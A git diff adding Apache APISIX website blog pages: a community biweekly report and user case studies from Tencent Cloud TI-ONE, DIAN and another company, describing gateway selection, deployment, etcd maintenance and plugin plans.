+<h4 id="deployment-configuration-upgrade">Deployment Configuration Upgrade</h4>
+<p>At the deployment level, we implemented the current multi-cluster configuration deployment after three iterations from the simpler version.</p>
+<ul>
+<li>Version 1: Double Room 4 independent nodes, the hypervisor is written to each node’s etcd</li>
+<li>Version 2: Double Room 4 independent nodes, the main room three nodes etcd cluster</li>
+<li>Version 3: Three Rooms 6 independent nodes, three rooms etcd cluster</li>
+</ul>
+<p>For now we’re going to mix computing with storage deployment, and then we’re going to deploy a really high availability ETCD cluster that can be isolated from the governance plane Apache APISIX runtime, deploy in stateless mode.</p>
+<h4 id="new-authentication-plugin-pat-auth">New Authentication Plugin PAT-Auth</h4>
+<p>This year we added the Person Access Token (Pat) authentication plug-in, which, like calling the Open API on GitHub, generates a personal Token that can call the Open API as a Person.</p>
+<p>Because our own operating platform also has some such requirements, for example, some local development plug-ins need to personally access the interface on the cloud platform, in this case the personal way Token is more convenient, allow developers to license themselves.</p>
+<p>While multiple Auth plug-ins have been supported since Apache APISIX 2.2, one Consumer can now run multiple Auth plug-in scenario implementations.</p>
+<h2 id="more-plans-to-explore">More Plans to Explore</h2>
+<h3 id="upgrade-operations-automation">Upgrade Operations Automation</h3>
+<p>We also experienced a few version changes during our use of Apache APISIX. But each upgrade, more or less because of compatibility and lead to the transformation of development, after the completion of the online changes, operating efficiency is low. So in the future we will try to deploy a three-room etcd cluster on the storage surface at the same time as Apache APISIX runs the surface containerization implementation for automatic distribution.</p>
+<h3 id="use-the-traffic-split-plugin">Use the Traffic Split Plugin</h3>
+<p><a href="https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/traffic-split.md">traffic split</a> is a plug-in that Apache APISIX has introduced in recent releases with the primary function of traffic separation. With this plug-in, we can according to some of the traffic head characteristics, use it to complete the relevant operations automatically.</p>
+<p><img src="https://static.apiseven.com/202108/1631607412159-bc84d447-ef28-4726-8ee1-b960415ac5ce.png" alt="traffic split"></p>
+<p>As shown above, a traffic split plug-in is introduced in the routing configuration, and when region = Region1 is present, it is routed to Upstream1. Through such a rule configuration, the operation of traffic control is completed.</p>
+<h3 id="east-west-flow-management">East-west Flow Management</h3>
+<p>In our usage scenario, we are more involved in multi-service of intranet, and we can rely on Apache APISIX for traffic management when calling authentication. Both service A and service B can use it to call service C, with the addition of an authenticated plug-in to set its call object scope, environment scope, or rate, and fuse limit, etc. , to do something like this.</p>
+<p><img src="https://static.apiseven.com/202108/1631607435661-c22c61c4-396b-4412-9643-b6ccb16cfb1c.png" alt="Flow management"></p>
+<h3 id="with-the-internal-access-system">With the Internal Access System</h3>
+<p>Then we’re going to Dock Apache Apisix with the company’s permission system, and after authentication, determine if the user has access to a resource on the back end, the administrator of the permissions only needs to make a uniform configuration on the administration plane.</p>
+<p><img src="https://static.apiseven.com/202108/1646730958671-7a7dff8f-7b4a-4488-ae31-e99bb06dc7f3.png" alt="System docking"></p>
+<p>One of the benefits of this is that all back-end services do not need to be individually managed, since all current traffic is handled through the gateway layer.</p>
+<h3 id="go-plugin-development">Go Plugin Development</h3>
+<p>Apache APISIX currently supports multiple computing languages at the computing language level, such as Java, Go, and Python. It just so happens that our recently implemented cloud native PaaS platform is also starting to move the technology stack from Python to Go.</p>
+<p>Hopefully we will be able to update some of the plug-ins we have implemented with Go in the future with Apache APISIX, hopefully bringing more benefits to the like product in subsequent iterations.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/e [...]
\ No newline at end of file
diff --git a/blog/2021/09/15/weekly-report/index.html b/blog/2021/09/15/weekly-report/index.html
new file mode 100644
index 00000000000..c937e225b4d
--- /dev/null
+++ b/blog/2021/09/15/weekly-report/index.html
@@ -0,0 +1,98 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>BiWeekly Report (Aug 30 - Sep 15) | Apache APISIX</title><meta name="description" content="The Apache APISIX community has added features related to the APISIX Dashboard, the Admin API and Control API, and the proxy-mirror plugin in the last two weeks."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2 [...]
+<p>33 developers have committed 130 commits to Apache APISIX in the last two weeks since 8.30. Thank you to the following people for adding to Apache APISIX (in no particular order), your selfless work makes the Apache APISIX project better!</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<p>Apache APISIX has grown as a community since its first day of open source and has quickly become the most active open source API gateway project in the world. These achievements could not have been achieved without the joint efforts of our community partners.</p>
+<p>“The Apache APISIX Community Weekly Newsletter hopes to help community members better grasp the weekly progress of the Apache APISIX community and facilitate your participation in the Apache APISIX community.</p>
+<p>We’ve also put together some issues for those new to the community! If you are interested, don’t miss them!</p>
+<h2 id="contributor-statistics">Contributor statistics</h2>
+<p>From 8.30-9.12, 33 developers submitted 130 commits to Apache APISIX, and we thank the following people for their contributions to Apache APISIX (in no particular order).</p>
+<p><img src="https://static.apiseven.com/202108/1631754498946-7d655f8e-3881-4594-b029-a67189a63ffa.jpg" alt="contributor"></p>
+<p><img src="https://static.apiseven.com/202108/1631676136968-13216876-e9f6-4852-95b4-6f73db5cb405.30-9" alt="committer"></p>
+<h2 id="good-first-issue">Good first issue</h2>
+<h3 id="issue-4906">Issue #4906</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/4906">#4906</a></p>
+<p><strong>Problem Description</strong>: When testing Apache APISIX load balancing with two internal domains and adding pass_host: node with active health check enabled, I found that it still routes to the faulty host.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>for i in $(seq 1 1000); do curl -H "Host: httpbin.org" ${APISIX_GATEWAY_URL} ; done</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span><html></span></span>
+<span class="line"><span><head><title>503 Service Temporarily Unavailable</title></head></span></span>
+<span class="line"><span><body></span></span>
+<span class="line"><span><center><h1>503 Service Temporarily Unavailable</h1></center></span></span>
+<span class="line"><span><hr><center>nginx/1.17.7</center></span></span>
+<span class="line"><span></body></span></span>
+<span class="line"><span></html></span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span><html></span></span>
+<span class="line"><span><head><title>503 Service Temporarily Unavailable</title></head></span></span>
+<span class="line"><span><body></span></span>
+<span class="line"><span><center><h1>503 Service Temporarily Unavailable</h1></center></span></span>
+<span class="line"><span><hr><center>nginx/1.17.7</center></span></span>
+<span class="line"><span></body></span></span>
+<span class="line"><span></html></span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span>
+<span class="line"><span>apple</span></span></code></pre>
+<h3 id="issue-4945">Issue #4945</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/4945">#4945</a></p>
+<p><strong>Problem Description</strong>: I am having problems trying to download Apache APISIX version 2.9 on a Macbook with M1 system according to the related guide article. The prompt is as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>lualogging 1.5.2-1 depends on luasocket (3.0rc1-2 installed)</span></span>
+<span class="line"><span>lualogging 1.5.2-1 is now installed in /Users/juzhiyuan/workspace/apisix-2.9/apache-apisix-2.9-src/deps (license: MIT/X11)</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>casbin 1.26.0-1 depends on lrexlib-pcre >= 2.9.1 (not installed)</span></span>
+<span class="line"><span>Installing https://luarocks.org/lrexlib-pcre-2.9.1-1.src.rock</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>Error: Failed installing dependency: https://luarocks.org/casbin-1.26.0-1.rockspec - Failed installing dependency: https://luarocks.org/lrexlib-pcre-2.9.1-1.src.rock - Could not find header file for PCRE</span></span>
+<span class="line"><span> No file pcre.h in /usr/local/include</span></span>
+<span class="line"><span> No file pcre.h in /usr/include</span></span>
+<span class="line"><span> No file pcre.h in /include</span></span>
+<span class="line"><span>You may have to install PCRE in your system and/or pass PCRE_DIR or PCRE_INCDIR to the luarocks command.</span></span>
+<span class="line"><span>Example: luarocks install lrexlib-pcre PCRE_DIR=/usr/local</span></span>
+<span class="line"><span>make: *** [deps] Error 1</span></span></code></pre>
+<h2 id="recent-feature-highlights">Recent feature highlights</h2>
+<ul>
+<li><a href="https://github.com/apache/apisix/pull/4916">referer-restriction support for configuring blacklist and message</a>(contributor: okaybase)</li>
+<li><a href="https://github.com/apache/apisix/pull/4856">node_listen and admin_listen support richer configuration forms</a>(contributor: wayne-cheng), <a href="https://github.com/apache/apisix/pull/4967">additional reference</a></li>
+<li><a href="https://github.com/apache/apisix/pull/4947">admin-api support for returning stream type plugin information</a>(Contributor: spacewander)</li>
+<li><a href="https://github.com/apache/apisix/pull/5000">Support for configuring fallback SNI</a>(Contributed by spacewander)</li>
+<li><a href="https://github.com/apache/apisix/pull/4965">proxy-mirror support for scaled mirror requests</a>(Contributor: okaybase)</li>
+<li><a href="https://github.com/apache/apisix/pull/5011">Control API adds dump routing configuration</a>(Contributor: Zheaoli)</li>
+<li><a href="https://github.com/apache/apisix-dashboard/pull/2081">dashboard Support Service Discovery Configuration</a>(Contributor: bzp2010)</li>
+<li><a href="https://github.com/apache/apisix-dashboard/pull/1984">dashboard Route advanced configuration conditions support built-in parameter configuration</a>(contributor: lookbrook)</li>
+<li><a href="https://github.com/apache/apisix-dashboard/pull/2117">dashboard Upstream support for Keepalive Pool configuration</a>(Contributor: bzp2010)</li>
+</ul>
+<p>The Apache APISIX project website and the issue on Github have accumulated a wealth of documentation and experience, if you encounter problems you can read the documentation, search in the issue with keywords, and also participate in the discussion on the issue to put forward their ideas and practical experience.</p>
+<h2 id="recent-blog-posts-recommended">Recent Blog Posts Recommended</h2>
+<ul>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/08/30/weekly-report/">Apache APISIX Community Weekly Report | 2021 8.23-8.29</a></p>
+<p>“The Apache APISIX Community Weekly Report hopes to help community members better grasp the weekly progress of the Apache APISIX community and facilitate your participation in the Apache APISIX community.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/08/31/Apache%20APISIX%20%C3%97%20KubeSphere-a-better-gateway-and-K8S-Ingress-Controller/">Apache APISIX Delivers a Better Gateway and K8S Ingress Controller for KubeSphere</a></p>
+<p>This article describes how to deploy APISIX and APISIX Ingress Controller directly in KubeSphere. APISIX can be used to carry business traffic by acting as a gateway, or a data plane for APISIX Ingress Controller.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/09/15/weekly-report/">Heard you have something to say about Apache APISIX? Here’s your chance</a></p>
+<p>We invite you to participate in the Apache APISIX User Survey, and your feedback will directly influence our future development. We will randomly select a number of lucky stars who will have a chance to win a small gift from the Apache APISIX community!</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/08/16/Using-the-Apache-APISIX-OpenID-Connect-Plugin-for-Centralized-Authentication/">Using Apache APISIX and Okta for Authentication</a></p>
+<p>This article describes how to use Apache APISIX to configure Okta authentication to switch from traditional authentication mode to centralized authentication mode, getting rid of multiple accounts, multiple passwords, duplicate authentication and other pain points faced by many developers.</p>
+</li>
+</ul>
+<h2 id="about-apache-apisix">About Apache APISIX</h2>
+<p>Apache APISIX is a dynamic, real-time, high-performance open source API gateway that provides rich traffic management features such as load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, etc. Apache APISIX helps enterprises quickly and securely handle API and microservice traffic, including gateways, Kubernetes Ingress and Service Grid.</p>
+<p>Apache APISIX has been used by hundreds of enterprises worldwide to handle business-critical traffic, including finance, Internet, manufacturing, retail, carriers, and more, such as NASA, the European Union’s Digital Factory, China Airlines, China Mobile, Tencent, Huawei, Weibo, NetEase, Shell, 360, Taikang, and Nespresso Tea.</p>
+<p>More than 200 contributors have come together to create Apache APISIX, the world’s most active open source gateway project. Smart developers! Come join this active and diverse community and come together to bring more good things to the world!</p>
+<ul>
+<li><a href="https://github.com/apache/apisix">Apache APISIX GitHub</a></li>
+<li><a href="https://apisix.apache.org/">Apache APISIX Website</a></li>
+<li><a href="https://apisix.apache.org/zh/docs/apisix/getting-started">Apache APISIX Docs</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/09/16/tencent-cloud/index.html b/blog/2021/09/16/tencent-cloud/index.html
new file mode 100644
index 00000000000..ab91e7374be
--- /dev/null
+++ b/blog/2021/09/16/tencent-cloud/index.html
@@ -0,0 +1,55 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Implementing Apache APISIX in Tencent Cloud TI-ONE Platform | Apache APISIX</title><meta name="description" content="This article mainly introduces the enterprise case of Tencent Cloud Intelligent Titanium Platform using the cloud-native API gateway Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apach [...]
+<p>This article is a practical case of implementing Apache APISIX in Tencent Cloud’s production environment.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background-information">Background Information</h2>
+<p>Tencent Cloud Intelligent Titanium Machine Learning Platform (TI-ONE) is a machine learning service platform for AI engineers, providing users with full-process development support from data pre-processing, model building, model training to model evaluation. TI-ONE has rich built-in algorithm components and supports multiple algorithm frameworks to meet the needs of various AI application scenarios.</p>
+<p><img src="https://static.apiseven.com/202108/1646830304750-e4716cb4-9024-4995-a910-ad3ddd5d00a9.png" alt="TI-ONE Architecture"></p>
+<h2 id="what-does-ti-one-need-from-apache-apisix">What Does TI-ONE Need from Apache APISIX?</h2>
+<p>We divide the requirements into two categories: technical needs, i.e. the requirements of the R&D team for the API gateway; and business needs, i.e. the requirements of the users of the TI-ONE for the API gateway.</p>
+<p>The main requirement at the technical aspect is to have cross-sectional functionality. Specifically, cross-plane functions such as authentication, flow limit, logging, monitoring, etc. are coalesced into the API gateway to decouple the back-end services, so that R&D can focus on function development and reduce maintenance costs.</p>
+<p>Considering the demand of subsequent business connection to Tencent Cloud, the API gateway must support Tencent’s customized authentication and login mechanism and comply with Tencent Cloud API 3.0 format.</p>
+<p><img src="https://static.apiseven.com/202108/1646830304728-8be486b7-80e9-4b07-8a02-2c753f70c6d1.png" alt="TI-ONE's Technical Needs"></p>
+<p>From the business aspect, the main consideration is user perception. When the platform is developed, AI and algorithm colleagues need an interactive programming environment, and then the API gateway needs to support Notebook. It also needs to support request-level monitoring, including logging monitoring and metrics monitoring.</p>
+<p>We conducted research on API Gateway products to address the above requirements.</p>
+<p><img src="https://static.apiseven.com/202108/1646830304731-719124e9-8206-4ffb-8be1-eb54c7c0e159.png" alt="TI-ONE's requirements on API Gateway"></p>
+<h2 id="research-and-compare-products">Research and Compare Products</h2>
+<p>We have compared Envoy, Kong and Apache APISIX from multiple dimensions in our research stage.</p>
+<p><img src="https://static.apiseven.com/202108/1646830766533-be5642c4-04d3-4999-8c0a-07116f0c08c7.png" alt="Envoy, Kong and Apache APISIX Comparison"></p>
+<p>Since Envoy’s technology stack is C++, it is likely that we will have to look at the C++ source code when we need to locate the problem. It is very likely to bring us some extra problems, so Envoy was eliminated from our options in the early stage.</p>
+<p>Kong and Apache APISIX use the same technology stack, OpenResty, but in the storage dependency aspect, Kong relies on PostgreSQL, a relational database, which is a very complex database to configure for high availability in the software industry. Not only do you need to have a dedicated DBA, but it is also very difficult to implement. Relational databases are too heavy, and we don’t need to use them to guarantee ACID and MVCC.</p>
+<h3 id="why-did-ti-one-choose-apache-apisix">Why Did TI-ONE Choose Apache APISIX?</h3>
+<p>Apache APISIX does a very good job of storing dependencies and routing rules, which is a good fit for our business scenario. Our business values routing flexibility and routing matching algorithms over other features. The complexity of Apache APISIX route matching algorithm is significantly better than Kong, and the configuration effective time is less than 1ms, and the single-core QPS is much higher than Kong.</p>
+<h2 id="architecture-alignment-based-on-apache-apisix">Architecture Alignment Based on Apache APISIX</h2>
+<p>After connecting to Apache APISIX, we have completed the gateway aspect of TI-ONE, which solves the previous requirements about technical and business level.</p>
+<p>Apache APISIX supports http+pb, http+json, gRPC, WebSocket and other traffic. After these traffic flows go through Apache APISIX, they will go to some components custom-developed by TI-ONE.</p>
+<p><img src="https://static.apiseven.com/202108/1646830304733-0ccfe462-0214-430e-8316-079cc0e0d4de.png" alt="Apache APISIX Architecture"></p>
+<p>The business of TI-ONE is deployed on Tencent Cloud TKE platform. In order to improve its availability, the gateway, etcd, etc. are clustered and deployed. Instead of using the Apache APISIX dashboard, Smart Titanium Machine Learning Platform interacts directly with the Admin API and writes directly to etcd.</p>
+<p><img src="https://static.apiseven.com/202108/1646830304736-ae479c95-9be7-43b5-8600-bcac8914c08d.png" alt="Add Plugin Process"></p>
+<h2 id="experience-sharing">Experience Sharing</h2>
+<p>In the process of doing this, we have summarized some of the pitfalls of using Nginx and discovered some of the advantages of APISIX, which we will briefly share here.</p>
+<h3 id="counterintuitive-nginx-configuration">Counterintuitive Nginx Configuration</h3>
+<p>When I used Nginx before, I felt that Nginx was a configuration-driven product. Nginx is often counterintuitive when it comes to configuration management. One such counterintuitive pitfall was encountered by my colleague during this hands-on experience:</p>
+<p><img src="https://static.apiseven.com/202108/1646830304738-224447bd-ee49-4369-9fce-c53d9a828d0e.png" alt="Nginx Configuration Error"></p>
+<p>For those are new to Nginx, these two lines of commands are added before the <code>if</code>, and there are no other commands inside the <code>if</code> that could override them, so they should be executed. Anyone familiar with Nginx knows that the command inside the <code>if</code> overrides the outside command, but this is very counterintuitive.</p>
+<h3 id="test-cases-as-documentation">Test Cases as Documentation</h3>
+<p>In practicing using Apache APISIX practices, the Apache APISIX project test cases are written in great detail. Even if I didn’t have a deep understanding of how to call certain functions in Apache APISIX, I could often find the answers in the test cases. When I encountered some OpenResty problems later, I would look for the relevant code in these test cases, and I was able to solve the problem every time.</p>
+<p><img src="https://static.apiseven.com/202108/1646830304739-dcfb66f9-f765-4e15-a476-edea9ca3ff11.png" alt="Test Cases as Documentation"></p>
+<h2 id="some-thoughts-on-service-mesh">Some Thoughts on Service Mesh</h2>
+<p>In the early stage of technology selection, apart from Envoy, Kong and Apache APISIX, some colleagues also mentioned Service Mesh. Why do we still choose Apache APISIX, given that Service Mesh is also capable of doing this? Isn’t this a regression in technology? On this issue, my view is as follows.</p>
+<ol>
+<li>
+<p>The API gateway is at the system boundary and handles north-south traffic; the Service Mesh is inside the cluster and handles east-west traffic. The functions of the two are different and cannot be directly compared.</p>
+</li>
+<li>
+<p>Service Mesh has proven to have some performance loss. But there is also a voice that says, on the cloud, this loss may not be the performance bottleneck of the business, so this is a matter of opinion.</p>
+</li>
+<li>
+<p>Apache APISIX customization development is more efficient thanks to the easy-to-use features of OpenResty and Lua. Even if the development team has no prior development experience with OpenResty or Lua, they can still complete the custom development requirements of the business in a short period of time.</p>
+</li>
+<li>
+<p>Apache APISIX is less expensive to deliver than Service Mesh because the Istio community is very active and iterates very quickly, resulting in incompatibility between versions of Istio and versions of Kubernetes. In a customer’s production environment, some Kubernetes clusters may have version differences, and these Kubernetes clusters cannot share a single version of Istio, which can cause some problems in the actual delivery process.</p>
+</li>
+</ol>
+<h2 id="personal-expectations">Personal Expectations</h2>
+<p>Thanks to Apache APISIX for creating an open source API gateway product that is extremely high performance and easy to use. During the development process of TI-ONE Network, we hope that we can learn more about using it in practice and give feedback to the Apache APISIX community.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="htt [...]
\ No newline at end of file
diff --git a/blog/2021/09/18/xiaodian-usercase/index.html b/blog/2021/09/18/xiaodian-usercase/index.html
new file mode 100644
index 00000000000..0f1ffe9492b
--- /dev/null
+++ b/blog/2021/09/18/xiaodian-usercase/index.html
@@ -0,0 +1,82 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX helps DIAN to facilitate cloud native solution | Apache APISIX</title><meta name="description" content="This article introduces the background and practice of using the cloud native API gateway Apache APISIX to build the cloud native project in DIAN."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apach [...]
+<p>This article introduces the background and practice of using Apache APISIX to build the cloud native project in DIAN. The author is Sun ran, an expert in operation and maintenance. Currently working in DIAN, mainly responsible for the deployment of K8s cluster and API Gateway.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background">Background</h2>
+<p>As a domestic service platform for sharing chargers, DIAN is still in its initial stage. From the aspects of operation and maintenance system, test environment and so on, the business of the current product mainly faces the following problems:</p>
+<ul>
+<li>Traditional VM mode deployment, low utilization and not easy to expand</li>
+<li>Sharing resources among Developers and QAs are difficult</li>
+<li>Multiple independent test environments (K8s) that repeat maintenance steps for each deployment are inefficient</li>
+<li>Using Nginx configuration management, operating costs are extremely high</li>
+</ul>
+<p>At the beginning of 2020, we decided to launch the containerization project with the intention of finding an existing solution to solve the above problems.</p>
+<p>Currently, companies are looking to “Embrace cloud native”as a solution for future business, focusing on micro-service re-engineering in cloud native mode, DevOps, continuous delivery, and most importantly, containerization.</p>
+<p><img src="https://static.apiseven.com/202108/1646623804095-4f89cc3d-685f-44e3-8a17-51fb55526677.png" alt="Why choose Cloud Native"></p>
+<h2 id="why-need-apache-apisix">Why Need Apache APISIX</h2>
+<p>Based on the above selection of cloud native mode, we started to build the containerized solution. The programme has three main components:</p>
+<ol>
+<li><strong>Self-developed Devops platform-DNA</strong>: this platform is mainly used for project management, change management (pre-release, production environment) , application lifecycle management (DNA Operator) , and CI/CD related functionality.</li>
+<li><strong>Isolation based on K8s Namespace</strong>: previously all of our development project environments, including change environments, were all registered together, so isolation between environment and environment became a necessary part of our processing.</li>
+<li><strong>Dynamic management routing gateway access layer</strong>: considering the internal multi-application and multi-environment, it is necessary to have a dynamic management gateway access layer to deal with the relevant operations.</li>
+</ol>
+<h3 id="gateway-selection">Gateway Selection</h3>
+<p>For gateway selection, we compared OpenShift Route, Nginx Ingress, and Apache APISIX.</p>
+<p>OpenShift 3.0 introduced OpenShift Route to Route traffic for external stack requests by providing the Ingress Controller through the Ingress Operator for Kubernetes. But in the follow-up test, the function support aspect is not perfect and the maintenance cost is very high. Nginx Ingres also has a similar problem with high operating and operation costs.</p>
+<p>During our research with Apache APISIX, we found that the core of Apache APISIX is to provide routing and load balancing capabilities, as well as support:</p>
+<ul>
+<li>Dynamic route loading and real-time update</li>
+<li>Stateless high availability mode in ETCD storage</li>
+<li>Lateral spread</li>
+<li>Cross-resource sharing (CORS) , Proxy Rewrite plug-in</li>
+<li>API calls and automation settings</li>
+<li>Dashboard is clean and easy to use</li>
+</ul>
+<p>Of course, as an open source project, Apache APISIX has a very active community and is in line with our trend to pursue cloud native, taking into account our application scenarios and Apache APISIX’s product strengths, finally, replace all routes in the project environment with Apache APISIX.</p>
+<h2 id="changes-with-apache-apisix">Changes with Apache APISIX</h2>
+<h3 id="overall-architecture">Overall Architecture</h3>
+<p>Our current product architecture is broadly similar to using Apache APISIX in K8s. The main idea is to expose Apache APISIX’s Service as a LoadBalancer type. The user then transfers the request access to Apache APISIX and forwards the route to the upstream related service.</p>
+<p><img src="https://static.apiseven.com/2021/0918/20220816-171733.jpg" alt="Overall architecture"></p>
+<p>One additional point is why we put the ETCD outside the technology stack. The ETCD was taken out separately because of errors in resolving domain names in earlier versions, and because the internal maintenance and backup process was cumbersome.</p>
+<h3 id="business-model">Business Model</h3>
+<p><img src="https://static.apiseven.com/2021/0918/20220816-172217.jpg" alt="Business model"></p>
+<p>The image above shows the business environment transformation model after accessing Apache APISIX. As each development or project changes, the DNA creates a change and converts it into a K8s Namespace resource.</p>
+<p>Because K8s Namespace is resource-isolated in and of itself, we provide multiple sets of project change environments based on Namespace at deployment time, including copies of all applications and registering to the same Eureka. We’ve modified Eureka to allow it to support the separation of application replicas of different namespaces so that they don’t call each other.</p>
+<h3 id="function-enhancement">Function Enhancement</h3>
+<p>With the above architecture and business model in practice, each project change generates a corresponding Namespace resource, while the DNA Operator creates the corresponding APP resource, and finally generates the corresponding Apache APISIX routing rules.</p>
+<h4 id="function-1-project-changes-to-more-environments">Function 1: Project Changes to More Environments</h4>
+<p>In a change environment we have two scenarios, one is point-to-point mode, where one domain name corresponds to one application. Simply by enabling the domain name, Apache APISIX is used in the DNA to generate the corresponding route, which is the single path routing rule.</p>
+<p><img src="https://static.apiseven.com/202108/1646623778769-ae05d742-8f31-4272-94e0-5d3266d0c9b7.png" alt="Point-to-Point mode"></p>
+<p>Another scenario is multilevel path routing. In this scenario, we use Apache APISIX to point multiple APP routes required in project changes to the current Namespace environment, and their associated APP routes to a Stable set of Namespace environments (usually Stable) .</p>
+<p><img src="https://static.apiseven.com/2021/0918/20220816-172458.jpg" alt="Multilevel path"></p>
+<h4 id="function-2-automate-the-process">Function 2: Automate the Process</h4>
+<p>Based on some routing rules of the above project environment, Apache APISIX’s API call function is used as a control center, and some functions including domain name prefix and corresponding application instance are collected.</p>
+<p>For example, when a new application comes online, you can request a corresponding routing rule and add it to the control center. When you need to request routing, you can enable this routing rule with one click and automatically synchronize to Apache APISIX.</p>
+<p><img src="https://static.apiseven.com/202108/1646623758208-09d6dfef-677b-47df-919e-99c3b0794e04.png" alt="Automated process"></p>
+<p>We also provide a single common routing request, including online and test environments, or some public network exposure and test requirements, and call the Apache APISIX interface.</p>
+<p><img src="https://static.apiseven.com/202108/1646623778763-0951ede3-1c58-46dd-b4ee-6ac9f977e636.png" alt="Ordinary route"></p>
+<h2 id="practice-based-on-apache-apisix">Practice Based on Apache APISIX</h2>
+<h3 id="openshift-based-deployment">OpenShift Based Deployment</h3>
+<p>OpenShift has a very strict SCC mechanism, and there are many problems with deploying Apache APISIX with OpenShift, so you have to recompile every release.</p>
+<p>Also, based on the Docker mirroring provided by Apache APISIX, we updated some of the basic software on a daily basis, such as tuning and problem viewing, and uploaded it to the internal Image repository via Image Rebuild.</p>
+<h3 id="cross-version-smoothing">Cross-version Smoothing</h3>
+<p>We started with Apache APISIX at version 1.5, and in the process of updating to the latest version, we experienced things like ETCD V2 performance degradation and increased strong validation of the CORS plug-in.</p>
+<p><img src="https://static.apiseven.com/202108/1632294589632-e113850d-57a6-4a82-be21-63ec8e78f842.png" alt="Cross smooth"></p>
+<p>Based on this, we take the solution of version cut flow, new version enable and create new Service and expose relevant SLB information. Switch the Gateway to the new version of Apache APISIX using the Selector property of the Service. On the other hand, we will also split the traffic, some of the traffic through DNS resolution to the new version of Apache APISIX SLB address, to achieve a smooth version of the process.</p>
+<h3 id="solve-the-etcd-compression-problem">Solve the ETCD Compression Problem</h3>
+<p>During the use period, we also observed that the Load has been suddenly high. After checking, we found that the amount of data in the ETCD has reached more than 600 megabytes, so we took the measure of compressing the ETCD regularly, wIPE out all historical data. The code can be found at:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="sh"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ETCDCTL_API=</span><span style="color:#79C0FF">3</span><span style="color:#A5D6FF"> etcdctl</span><span style="color:#79C0FF"> --endpoints=http://etcd-1:2379</span><span style="color:#A5D6FF"> compact</span><span style="color:#79C0FF"> 1693729</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ETCDCTL_API=</span><span style="color:#79C0FF">3</span><span style="color:#A5D6FF"> etcdctl</span><span style="color:#79C0FF"> --endpoints=http://etcd-1:2379</span><span style="color:#A5D6FF"> defrag</span></span></code></pre>
+<h3 id="get-client-ip">Get Client-IP</h3>
+<p>In the online business scenario, we need to get the source IP to do the relevant business processing. Apache APISIX provides the “X-Real-IP”capability to do this by configuring real and enabling Local mode of externalTrafficPolicy.</p>
+<h2 id="future-expectations">Future Expectations</h2>
+<p>As we all know, DIAN is now the main business scenario for sharing chargers, so in the property is also partial to the direction of the Internet of things.</p>
+<p>From the business level, we also have some important business such as MQTT type applications. They are currently exposed in the container in SLB mode and hopefully can be plugged into the entire Apache APISIX cluster in the future.</p>
+<p>At the front-end level, the current front-end application is still in a container, and we intend to connect the front-end application directly to Apache APISIX via Proxy Rewrite plug-in to our Ali Cloud OSS domain name. This saves the resources for container deployment and makes it easier to manage.</p>
+<p>On the Apache APISIX project, we have also developed a number of practical deployment requirements, in the hope that subsequent changes in the Apache APISIX version can support or improve related functions. For example:</p>
+<ol>
+<li>Add multi-cluster functionality at the technical management level</li>
+<li>More fine-grained user rights management at the development level</li>
+<li>Feature level support for SSL certificate rolling updates</li>
+<li>Apache APISIX-Ingress-Controller related business access</li>
+</ol> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
